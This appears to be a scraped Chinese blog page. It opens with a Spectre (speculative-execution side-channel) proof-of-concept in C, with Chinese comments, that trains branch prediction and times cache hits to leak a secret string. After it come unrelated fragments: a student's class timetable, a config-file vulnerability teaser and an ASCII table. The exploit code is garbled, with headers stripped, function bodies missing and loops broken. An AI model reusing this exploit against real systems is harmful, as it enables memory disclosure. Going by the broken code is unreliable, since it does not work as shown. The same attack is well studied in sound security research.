最近都在發intel cpu「**執行」的poc,俺也發乙份
#define _crt_secure_no_warnings
#include #include #include #ifdef _msc_ver // 如果定義了微軟編譯器版本
// __machinei(unsigned __int64 __rdtscp(unsigned int*))
// __machinex86x_x64(void _mm_clflush(void const *))
#include // for rdtscp and clflush
#pragma optimize("gz", on) // g全域性優化 z大小優化 s速度優化 on 開啟
#else // 沒有定義微軟編譯器版本
#include // for rdtscp and clflush
#endif
#define __trytimes 999
unsigned int array1_size=16;
uint8_t array1[160]=;
//uint8_t unused1[64];
//uint8_t unused2[64];
uint8_t array2[256*512]; //main函式中初始化為1
char *secret="the magic words are squeamish ossifrage";
/* 使用 temp 全域性變數阻止編譯器優化 victim_function() */
uint8_t temp=0;
void victim_function(size_t x)
training_x = tries % array1_size; //training_x(<16):訓練 cpu 快取需要的資料
for(j=29; j>=0; j--)
//???????????????????????
/* j % 6 = 0 則 x = malicious_x
j % 6 != 0 則 x = training_x */
x=((j%6)-1) & ~0xffff;
x=(x | (x>>16));
x=training_x ^ (x&(malicious_x ^ training_x));
/* 呼叫觸發 cache ** 共計觸發 5 次,j = 24、18、12、6、0時,都會觸發分支**,每次觸發傳入的x值都是malicious_x */
victim_function(x);
} for(i=0; i<256; ++i)
/* 獲取分組中命中率最高的兩個分組,分別儲存在 j(最高命中),k(次高命中)裡 */
j = k = -1;
for (i = 0; i < 256; i++)
else if (k < 0 || results[i] >= results[k])
}/* 最高命中項命中次數大於 2 倍加 5 的次高命中項次數 或 僅僅最高命中項命中 2 次 則退出迴圈,成功找到命中項 */
if(results[j]>=(2*results[k]+5) || (results[j]==2 && results[k]==0))
break;
} results[0] ^= junk; //使用 junk 防止優化輸出
value[0]=(uint8_t)j;
score[0]=results[j];
value[1]=(uint8_t)k;
score[1]=results[k];
}int main(int argc, const char **argv)
system("pause");
return 0;
}
編譯環境:vs2010 發乙份我的課表
星期一 8 00 9 50 高等數學c 一 專業必修課 10 10 12 00 現代漢語 上 專業必修課 單週 16 50 18 40 計算概論 專業必修課 星期二 10 10 12 00 大學英語 二 全校必修課 我他媽的才分到二級 14 40 16 30 古代漢語 上 專業必修課 星期三8 00...
蹭熱度分享乙份寫配置漏洞案例
漏洞 還是出在乙個寫配置檔案的函式當中,如下 大部分 刪去,只留核心部分 public function input c elseif name else filename newsid php res write config file this lib path data dir filenam...
乙份完整的ACSII碼表
雖然現在很多都是有unicode碼了,這也是個趨勢。但與硬體通訊時,比如與數據機通訊時,雖然用的也是ucs2編碼 用於傳送unicode字元 但實際交流還是採用的是ascii碼,ascii碼在內容控制上還是有很大的用去,如命令返回格式 分割等,奉上乙份完整意義的acsii碼,為開發助力。ascii表...